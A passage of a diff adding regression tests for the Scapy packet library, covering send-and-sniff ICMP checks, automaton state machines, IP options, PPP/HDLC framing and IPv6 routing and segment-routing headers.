+arping(_+"/24")
+
+= send() and sniff()
+~ netaccess
+import time
+import os
+
+from scapy.modules.six.moves.queue import Queue
+
+def _send_or_sniff(pkt, timeout, flt, pid, fork, t_other=None, opened_socket=None):
+    assert pid != -1
+    if pid == 0:
+        time.sleep(1)
+        (sendp if isinstance(pkt, (Ether, Dot3)) else send)(pkt)
+        if fork:
+            os._exit(0)
+        else:
+            return
+    else:
+        spkt = raw(pkt)
+        # We do not want to crash when a packet cannot be parsed
+        old_debug_dissector = conf.debug_dissector
+        conf.debug_dissector = False
+        pkts = sniff(
+            timeout=timeout, filter=flt, opened_socket=opened_socket,
+            stop_filter=lambda p: pkt.__class__ in p and raw(p[pkt.__class__]) == spkt
+        )
+        conf.debug_dissector = old_debug_dissector
+        if fork:
+            os.waitpid(pid, 0)
+        else:
+            t_other.join()
+    assert raw(pkt) in (raw(p[pkt.__class__]) for p in pkts if pkt.__class__ in p)
+
+def send_and_sniff(pkt, timeout=2, flt=None, opened_socket=None):
+    """Send a packet, sniff, and check the packet has been seen"""
+    if hasattr(os, "fork"):
+        _send_or_sniff(pkt, timeout, flt, os.fork(), True)
+    else:
+        from threading import Thread
+        def run_function(pkt, timeout, flt, pid, thread, results, opened_socket):
+            _send_or_sniff(pkt, timeout, flt, pid, False, t_other=thread, opened_socket=opened_socket)
+            results.put(True)
+        results = Queue()
+        t_parent = Thread(target=run_function, args=(pkt, timeout, flt, 0, None, results, None))
+        t_child = Thread(target=run_function, args=(pkt, timeout, flt, 1, t_parent, results, opened_socket))
+        t_parent.start()
+        t_child.start()
+        t_parent.join()
+        t_child.join()
+        assert results.qsize() >= 2
+        while not results.empty():
+            assert results.get()
+
+send_and_sniff(IP(dst="secdev.org")/ICMP())
+send_and_sniff(IP(dst="secdev.org")/ICMP(), flt="icmp")
+send_and_sniff(Ether()/IP(dst="secdev.org")/ICMP())
+
+= Test L2ListenTcpdump socket
+~ netaccess FIXME_py3
+
+# Often (but not always) fails with Python 3
+import time
+for i in range(10):
+    read_s = L2ListenTcpdump(iface=conf.iface)
+    out_s = conf.L2socket(iface=conf.iface)
+    time.sleep(5)  # wait for read_s to be ready
+    icmp_r = Ether()/IP(dst="secdev.org")/ICMP()
+    res = sndrcv(out_s, icmp_r, timeout=5, rcv_pks=read_s)[0]
+    read_s.close()
+    out_s.close()
+    time.sleep(5)
+    if res:
+        break
+
+response = res[0][1]
+assert response[ICMP].type == 0
+
+############
+############
++ ManuFDB tests
+
+= __repr__
+
+if conf.manufdb:
+    len(conf.manufdb)
+else:
+    True
+
+= check _resolve_MAC
+
+if conf.manufdb:
+    assert conf.manufdb._resolve_MAC("00:00:63") == "HP"
+else:
+    True
+
+############
+############
++ Automaton tests
+
+= Simple automaton
+~ automaton
+class ATMT1(Automaton):
+    def parse_args(self, init, *args, **kargs):
+        Automaton.parse_args(self, *args, **kargs)
+        self.init = init
+    @ATMT.state(initial=1)
+    def BEGIN(self):
+        raise self.MAIN(self.init)
+    @ATMT.state()
+    def MAIN(self, s):
+        return s
+    @ATMT.condition(MAIN, prio=-1)
+    def go_to_END(self, s):
+        if len(s) > 20:
+            raise self.END(s).action_parameters(s)
+    @ATMT.condition(MAIN)
+    def trA(self, s):
+        if s.endswith("b"):
+            raise self.MAIN(s+"a")
+    @ATMT.condition(MAIN)
+    def trB(self, s):
+        if s.endswith("a"):
+            raise self.MAIN(s*2+"b")
+    @ATMT.state(final=1)
+    def END(self, s):
+        return s
+    @ATMT.action(go_to_END)
+    def action_test(self, s):
+        self.result = s
+    
+= Simple automaton Tests
+~ automaton
+
+a=ATMT1(init="a", ll=lambda: None, recvsock=lambda: None)
+a.run()
+assert( _ == 'aabaaababaaabaaababab' )
+a.result
+assert( _ == 'aabaaababaaabaaababab' )
+a=ATMT1(init="b", ll=lambda: None, recvsock=lambda: None)
+a.run()
+assert( _ == 'babababababababababababababab' )
+a.result
+assert( _ == 'babababababababababababababab' )
+
+= Simple automaton stuck test
+~ automaton
+
+try:    
+    ATMT1(init="", ll=lambda: None, recvsock=lambda: None).run()
+except Automaton.Stuck:
+    True
+else:
+    False
+
+
+= Automaton state overloading
+~ automaton
+class ATMT2(ATMT1):
+    @ATMT.state()
+    def MAIN(self, s):
+        return "c"+ATMT1.MAIN(self, s).run()
+
+a=ATMT2(init="a", ll=lambda: None, recvsock=lambda: None)
+a.run()
+assert( _ == 'ccccccacabacccacababacccccacabacccacababab' )
+
+
+a.result
+assert( _ == 'ccccccacabacccacababacccccacabacccacababab' )
+a=ATMT2(init="b", ll=lambda: None, recvsock=lambda: None)
+a.run()
+assert( _ == 'cccccbaccbabaccccbaccbabab')
+a.result
+assert( _ == 'cccccbaccbabaccccbaccbabab')
+
+
+= Automaton condition overloading
+~ automaton
+class ATMT3(ATMT2):
+    @ATMT.condition(ATMT1.MAIN)
+    def trA(self, s):
+        if s.endswith("b"):
+            raise self.MAIN(s+"da")
+
+
+a=ATMT3(init="a", debug=2, ll=lambda: None, recvsock=lambda: None)
+a.run()
+assert( _ == 'cccccacabdacccacabdabda')
+a.result
+assert( _ == 'cccccacabdacccacabdabda')
+a=ATMT3(init="b", ll=lambda: None, recvsock=lambda: None)
+a.run()
+assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' )
+
+a.result
+assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' )
+
+
+= Automaton action overloading
+~ automaton
+class ATMT4(ATMT3):
+    @ATMT.action(ATMT1.go_to_END)
+    def action_test(self, s):
+        self.result = "e"+s+"e"
+
+a=ATMT4(init="a", ll=lambda: None, recvsock=lambda: None)
+a.run()
+assert( _ == 'cccccacabdacccacabdabda')
+a.result
+assert( _ == 'ecccccacabdacccacabdabdae')
+a=ATMT4(init="b", ll=lambda: None, recvsock=lambda: None)
+a.run()
+assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' )
+a.result
+assert( _ == 'ecccccbdaccbdabdaccccbdaccbdabdabe' )
+
+
+= Automaton priorities
+~ automaton
+class ATMT5(Automaton):
+    @ATMT.state(initial=1)
+    def BEGIN(self):
+        self.res = "J"
+    @ATMT.condition(BEGIN, prio=1)
+    def tr1(self):
+        self.res += "i"
+        raise self.END()
+    @ATMT.condition(BEGIN)
+    def tr2(self):
+        self.res += "p"
+    @ATMT.condition(BEGIN, prio=-1)
+    def tr3(self):
+        self.res += "u"
+    
+    @ATMT.action(tr1)
+    def ac1(self):
+        self.res += "e"
+    @ATMT.action(tr1, prio=-1)
+    def ac2(self):
+        self.res += "t"
+    @ATMT.action(tr1, prio=1)
+    def ac3(self):
+        self.res += "r"
+   
+    @ATMT.state(final=1)
+    def END(self):
+        return self.res
+
+a=ATMT5(ll=lambda: None, recvsock=lambda: None)
+a.run()
+assert( _ == 'Jupiter' )
+
+= Automaton test same action for many conditions
+~ automaton
+class ATMT6(Automaton):
+    @ATMT.state(initial=1)
+    def BEGIN(self):
+        self.res="M"
+    @ATMT.condition(BEGIN)
+    def tr1(self):
+        raise self.MIDDLE()
+    @ATMT.action(tr1) # default prio=0
+    def add_e(self):
+        self.res += "e"
+    @ATMT.action(tr1, prio=2)
+    def add_c(self):
+        self.res += "c"
+    @ATMT.state()
+    def MIDDLE(self):
+        self.res += "u"
+    @ATMT.condition(MIDDLE)
+    def tr2(self):
+        raise self.END()
+    @ATMT.action(tr2, prio=2)
+    def add_y(self):
+        self.res += "y"
+    @ATMT.action(tr1, prio=1)
+    @ATMT.action(tr2)
+    def add_r(self):
+        self.res += "r"
+    @ATMT.state(final=1)
+    def END(self):
+        return self.res
+
+a=ATMT6(ll=lambda: None, recvsock=lambda: None)
+a.run()
+assert( _ == 'Mercury' )
+
+a.restart()
+a.run()
+assert( _ == 'Mercury' )
+
+= Automaton test io event
+~ automaton
+
+class ATMT7(Automaton):
+    @ATMT.state(initial=1)
+    def BEGIN(self):
+        self.res = "S"
+    @ATMT.ioevent(BEGIN, name="tst")
+    def tr1(self, fd):
+        self.res += fd.recv()
+        raise self.NEXT_STATE()
+    @ATMT.state()
+    def NEXT_STATE(self):
+        self.oi.tst.send("ur")
+    @ATMT.ioevent(NEXT_STATE, name="tst")
+    def tr2(self, fd):
+        self.res += fd.recv()
+        raise self.END()
+    @ATMT.state(final=1)
+    def END(self):
+        self.res += "n"
+        return self.res
+
+a=ATMT7(ll=lambda: None, recvsock=lambda: None)
+a.run(wait=False)
+a.io.tst.send("at")
+a.io.tst.recv()
+a.io.tst.send(_)
+a.run()
+assert( _ == "Saturn" )
+
+a.restart()
+a.run(wait=False)
+a.io.tst.send("at")
+a.io.tst.recv()
+a.io.tst.send(_)
+a.run()
+assert( _ == "Saturn" )
+
+= Automaton test io event from external fd
+~ automaton
+import os
+
+class ATMT8(Automaton):
+    @ATMT.state(initial=1)
+    def BEGIN(self):
+        self.res = b"U"
+    @ATMT.ioevent(BEGIN, name="extfd")
+    def tr1(self, fd):
+        self.res += fd.read(2)
+        raise self.NEXT_STATE()
+    @ATMT.state()
+    def NEXT_STATE(self):
+        pass
+    @ATMT.ioevent(NEXT_STATE, name="extfd")
+    def tr2(self, fd):
+        self.res += fd.read(2)
+        raise self.END()
+    @ATMT.state(final=1)
+    def END(self):
+        self.res += b"s"
+        return self.res
+
+if WINDOWS:
+    r = w = ObjectPipe()
+else:
+    r,w = os.pipe()
+
+def writeOn(w, msg):
+    if WINDOWS:
+        w.write(msg)
+    else:
+        os.write(w, msg)
+
+a=ATMT8(external_fd={"extfd":r}, ll=lambda: None, recvsock=lambda: None)
+a.run(wait=False)
+writeOn(w, b"ra")
+writeOn(w, b"nu")
+
+a.run()
+assert( _ == b"Uranus" )
+
+a.restart()
+a.run(wait=False)
+writeOn(w, b"ra")
+writeOn(w, b"nu")
+a.run()
+assert( _ == b"Uranus" )
+
+= Automaton test interception_points, and restart
+~ automaton
+class ATMT9(Automaton):
+    def my_send(self, x):
+        self.io.loop.send(x)
+    @ATMT.state(initial=1)
+    def BEGIN(self):
+        self.res = "V"
+        self.send(Raw("ENU"))
+    @ATMT.ioevent(BEGIN, name="loop")
+    def received_sth(self, fd):
+        self.res += plain_str(fd.recv().load)
+        raise self.END()
+    @ATMT.state(final=1)
+    def END(self):
+        self.res += "s"
+        return self.res
+
+a=ATMT9(debug=5, ll=lambda: None, recvsock=lambda: None)
+a.run()
+assert( _ == "VENUs" )
+
+a.restart()
+a.run()
+assert( _ == "VENUs" )
+
+a.restart()
+a.BEGIN.intercepts()
+while True:
+    try:
+        x = a.run()
+    except Automaton.InterceptionPoint as p:
+        a.accept_packet(Raw(p.packet.load.lower()), wait=False)
+    else:
+        break
+
+x
+assert( _ == "Venus" )
+
+
+############
+############
++ Test IP options
+
+= IP options individual assembly
+~ IP options
+raw(IPOption())
+assert(_ == b'\x00\x02')
+raw(IPOption_NOP())
+assert(_ == b'\x01')
+raw(IPOption_EOL())
+assert(_ == b'\x00')
+raw(IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"]))
+assert(_ == b'\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08')
+
+= IP options individual dissection
+~ IP options
+IPOption(b"\x00")
+assert(_.option == 0 and isinstance(_, IPOption_EOL))
+IPOption(b"\x01")
+assert(_.option == 1 and isinstance(_, IPOption_NOP))
+lsrr=b'\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08'
+p=IPOption_LSRR(lsrr)
+p
+q=IPOption(lsrr)
+q
+assert(p == q)
+
+= IP assembly and dissection with options
+~ IP options
+p = IP(src="9.10.11.12",dst="13.14.15.16",options=IPOption_SDBM(addresses=["1.2.3.4","5.6.7.8"]))/TCP()
+raw(p)
+assert(_ == b'H\x00\x004\x00\x01\x00\x00@\x06\xa2q\t\n\x0b\x0c\r\x0e\x0f\x10\x95\n\x01\x02\x03\x04\x05\x06\x07\x08\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00')
+q=IP(_)
+q
+assert( isinstance(q.options[0],IPOption_SDBM) )
+assert( q[IPOption_SDBM].addresses[1] == "5.6.7.8" )
+p.options[0].addresses[0] = '5.6.7.8'
+assert( IP(raw(p)).options[0].addresses[0] == '5.6.7.8' )
+IP(src="9.10.11.12", dst="13.14.15.16", options=[IPOption_NOP(),IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"]),IPOption_Security(transmission_control_code="XYZ")])/TCP()
+raw(_)
+assert(_ == b'K\x00\x00@\x00\x01\x00\x00@\x06\xf3\x83\t\n\x0b\x0c\r\x0e\x0f\x10\x01\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08\x82\x0b\x00\x00\x00\x00\x00\x00XYZ\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00')
+IP(_)
+q=_
+assert(q[IPOption_LSRR].get_current_router() == "1.2.3.4")
+assert(q[IPOption_Security].transmission_control_code == b"XYZ")
+assert(q[TCP].flags == 2)
+
+
+############
+############
++ Test PPP
+
+= PPP/HDLC
+~ ppp hdlc
+HDLC()/PPP()/PPP_IPCP()
+raw(_)
+s=_
+assert(s == b'\xff\x03\x80!\x01\x00\x00\x04')
+PPP(s)
+p=_
+assert(HDLC in p)
+assert(p[HDLC].control==3)
+assert(p[PPP].proto==0x8021)
+PPP(s[2:])
+q=_
+assert(HDLC not in q)
+assert(q[PPP].proto==0x8021)
+
+
+= PPP IPCP
+~ ppp ipcp
+PPP(b'\x80!\x01\x01\x00\x10\x03\x06\xc0\xa8\x01\x01\x02\x06\x00-\x0f\x01')
+p=_
+assert(p[PPP_IPCP].code == 1)
+assert(p[PPP_IPCP_Option_IPAddress].data=="192.168.1.1")
+assert(p[PPP_IPCP_Option].data == b'\x00-\x0f\x01')
+p=PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")])
+raw(p)
+assert(_ == b'\x80!\x01\x00\x00\x16\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08\x84\x06\t\n\x0b\x0c')
+PPP(_)
+q=_
+assert(raw(p) == raw(q))
+assert(PPP(raw(q))==q)
+PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option(type=123,data="ABCDEFG"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")])
+p=_
+raw(p)
+assert(_ == b'\x80!\x01\x00\x00\x1f\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08{\tABCDEFG\x84\x06\t\n\x0b\x0c')
+PPP(_)
+q=_
+assert( q[PPP_IPCP_Option].type == 123 )
+assert( q[PPP_IPCP_Option].data == b"ABCDEFG" )
+assert( q[PPP_IPCP_Option_NBNS2].data == '9.10.11.12' )
+
+
+= PPP ECP
+~ ppp ecp
+
+PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui="XYZ")])
+p=_
+raw(p)
+assert(_ == b'\x80S\x01\x00\x00\n\x00\x06XYZ\x00')
+PPP(_)
+q=_
+assert( raw(p)==raw(q) )
+PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui="XYZ"),PPP_ECP_Option(type=1,data="ABCDEFG")])
+p=_
+raw(p)
+assert(_ == b'\x80S\x01\x00\x00\x13\x00\x06XYZ\x00\x01\tABCDEFG')
+PPP(_)
+q=_
+assert( raw(p) == raw(q) )
+assert( q[PPP_ECP_Option].data == b"ABCDEFG" )
+
+
+# Scapy6 Regression Test Campaign 
+
+############
+############
++ Test IPv6 Class 
+= IPv6 Class basic Instantiation
+a=IPv6() 
+
+= IPv6 Class basic build (default values)
+raw(IPv6()) == b'`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= IPv6 Class basic dissection (default values)
+a=IPv6(raw(IPv6())) 
+a.version == 6 and a.tc == 0 and a.fl == 0 and a.plen == 0 and a.nh == 59 and a.hlim ==64 and a.src == "::1" and a.dst == "::1"
+
+= IPv6 Class with basic TCP stacked - build
+raw(IPv6()/TCP()) == b'`\x00\x00\x00\x00\x14\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00'
+
+= IPv6 Class with basic TCP stacked - dissection
+a=IPv6(raw(IPv6()/TCP()))
+a.nh == 6 and a.plen == 20 and isinstance(a.payload, TCP) and a.payload.chksum == 0x8f7d
+
+= IPv6 Class with TCP and TCP data - build
+raw(IPv6()/TCP()/Raw(load="somedata")) == b'`\x00\x00\x00\x00\x1c\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5\xdd\x00\x00somedata'
+
+= IPv6 Class with TCP and TCP data - dissection
+a=IPv6(raw(IPv6()/TCP()/Raw(load="somedata")))
+a.nh == 6 and a.plen == 28 and isinstance(a.payload, TCP) and a.payload.chksum == 0xd5dd and isinstance(a.payload.payload, Raw) and a[Raw].load == b"somedata"
+
+= IPv6 Class binding with Ethernet - build
+raw(Ether(src="00:00:00:00:00:00", dst="ff:ff:ff:ff:ff:ff")/IPv6()/TCP()) == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x86\xdd`\x00\x00\x00\x00\x14\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00'
+
+= IPv6 Class binding with Ethernet - dissection
+a=Ether(raw(Ether()/IPv6()/TCP()))
+a.type == 0x86dd
+
+= IPv6 Class binding with GRE - build
+s = raw(IP(src="127.0.0.1")/GRE()/Ether(dst="ff:ff:ff:ff:ff:ff", src="00:00:00:00:00:00")/IP()/GRE()/IPv6(src="::1"))
+s == b'E\x00\x00f\x00\x01\x00\x00@/|f\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00eX\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00@\x00\x01\x00\x00@/|\x8c\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x86\xdd`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= IPv6 Class binding with GRE - dissection
+p = IP(s)
+GRE in p and p[GRE:1].proto == 0x6558 and p[GRE:2].proto == 0x86DD and IPv6 in p
+
+
+########### IPv6ExtHdrRouting Class ###########################
+
+= IPv6ExtHdrRouting Class - No address - build
+raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=[])/TCP(dport=80)) ==b'`\x00\x00\x00\x00\x1c+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00' 
+
+= IPv6ExtHdrRouting Class - One address - build
+raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2022::deca"])/TCP(dport=80)) == b'`\x00\x00\x00\x00,+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x02\x00\x01\x00\x00\x00\x00 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00'
+
+= IPv6ExtHdrRouting Class - Multiple Addresses - build
+raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"])/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x02\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00'
+
+= IPv6ExtHdrRouting Class - Specific segleft (2->1) - build
+raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=1)/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x01\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00'
+
+= IPv6ExtHdrRouting Class - Specific segleft (2->0) - build
+raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=0)/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x00\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00'
+
+########### IPv6ExtHdrSegmentRouting Class ###########################
+
+= IPv6ExtHdrSegmentRouting Class - default - build & dissect
+s = raw(IPv6()/IPv6ExtHdrSegmentRouting()/UDP())
+assert(s == b'`\x00\x00\x00\x00 +@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x02\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x005\x005\x00\x08\xffr')
+
+p = IPv6(s)
+assert(UDP in p and IPv6ExtHdrSegmentRouting in p)
+assert(len(p[IPv6ExtHdrSegmentRouting].addresses) == 1 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 0)
+
+= IPv6ExtHdrSegmentRouting Class - empty lists - build & dissect
+
+s = raw(IPv6()/IPv6ExtHdrSegmentRouting(addresses=[], tlv_objects=[])/UDP())
+assert(s == b'`\x00\x00\x00\x00\x10+@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x00\x04\x00\x00\x00\x00\x00\x005\x005\x00\x08\xffr')
+
+p = IPv6(s)
+assert(UDP in p and IPv6ExtHdrSegmentRouting in p)
+assert(len(p[IPv6ExtHdrSegmentRouting].addresses) == 0 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 0)
+
+= IPv6ExtHdrSegmentRouting Class - addresses list - build & dissect
+
+s = raw(IPv6()/IPv6ExtHdrSegmentRouting(addresses=["::1", "::2", "::3"])/UDP())
+assert(s == b'`\x00\x00\x00\x00@+@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x06\x04\x02\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x005\x005\x00\x08\xffr')
+
+p = IPv6(s)
+assert(UDP in p and IPv6ExtHdrSegmentRouting in p)
+assert(len(p[IPv6ExtHdrSegmentRouting].addresses) == 3 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 0)
+
+= IPv6ExtHdrSegmentRouting Class - TLVs list - build & dissect
+
+s = raw(IPv6()/IPv6ExtHdrSegmentRouting(addresses=[], tlv_objects=[IPv6ExtHdrSegmentRoutingTLV()])/TCP())
+assert(s == b'`\x00\x00\x00\x00$+@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x06\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00')
+
+p = IPv6(s)
+assert(TCP in p and IPv6ExtHdrSegmentRouting in p)
+assert(len(p[IPv6ExtHdrSegmentRouting].addresses) == 0 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 2)
+assert(isinstance(p[IPv6ExtHdrSegmentRouting].tlv_objects[1], IPv6ExtHdrSegmentRoutingTLVPadding))
+
+= IPv6ExtHdrSegmentRouting Class - both lists - build & dissect
+
+s = raw(IPv6()/IPv6ExtHdrSegmentRouting(addresses=["::1", "::2", "::3"], tlv_objects=[IPv6ExtHdrSegmentRoutingTLVIngressNode(),IPv6ExtHdrSegmentRoutingTLVEgressNode()])/ICMPv6EchoRequest())
+assert(s == b'`\x00\x00\x00\x00h+@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01:\x0b\x04\x02\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x01\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x7f\xbb\x00\x00\x00\x00')
+
+p = IPv6(s)
+assert(ICMPv6EchoRequest in p and IPv6ExtHdrSegmentRouting in p)
+assert(len(p[IPv6ExtHdrSegmentRouting].addresses) == 3 and len(p[IPv6ExtHdrSegmentRouting].tlv_objects) == 2)
+
+= IPv6ExtHdrSegmentRouting Class - UDP pseudo-header checksum - build & dissect
+
+s= raw(IPv6(src="fc00::1", dst="fd00::42")/IPv6ExtHdrSegmentRouting(addresses=["fd00::42", "fc13::1337"][::-1], segleft=1, lastentry=1) / UDP(sport=11000, dport=4242) / Raw('foobar'))
+assert(s == b'`\x00\x00\x00\x006+@\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00B\x11\x04\x04\x01\x01\x00\x00\x00\xfc\x13\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x137\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00B*\xf8\x10\x92\x00\x0e\x81\xb7foobar')
+
+
+############
+############
++ Test in6_get6to4Prefix()
+
+= Test in6_get6to4Prefix() - 0.0.0.0 address
+in6_get6to4Prefix("0.0.0.0") == "2002::"
+
+= Test in6_get6to4Prefix() - 255.255.255.255 address
+in6_get6to4Prefix("255.255.255.255") == "2002:ffff:ffff::"
+
+= Test in6_get6to4Prefix() - 1.1.1.1 address
+in6_get6to4Prefix("1.1.1.1") == "2002:101:101::"
+
+= Test in6_get6to4Prefix() - invalid address
+in6_get6to4Prefix("somebadrawing") is None
+
+
+############
+############
++ Test in6_6to4ExtractAddr()
+
+= Test in6_6to4ExtractAddr() - 2002:: address
+in6_6to4ExtractAddr("2002::") == "0.0.0.0"
+
+= Test in6_6to4ExtractAddr() - 255.255.255.255 address
+in6_6to4ExtractAddr("2002:ffff:ffff::") == "255.255.255.255"
+
+= Test in6_6to4ExtractAddr() - "2002:101:101::" address
+in6_6to4ExtractAddr("2002:101:101::") == "1.1.1.1"
+
+= Test in6_6to4ExtractAddr() - invalid address
+in6_6to4ExtractAddr("somebadrawing") is None
+
+
+########### RFC 4489 - Link-Scoped IPv6 Multicast address ###########
+
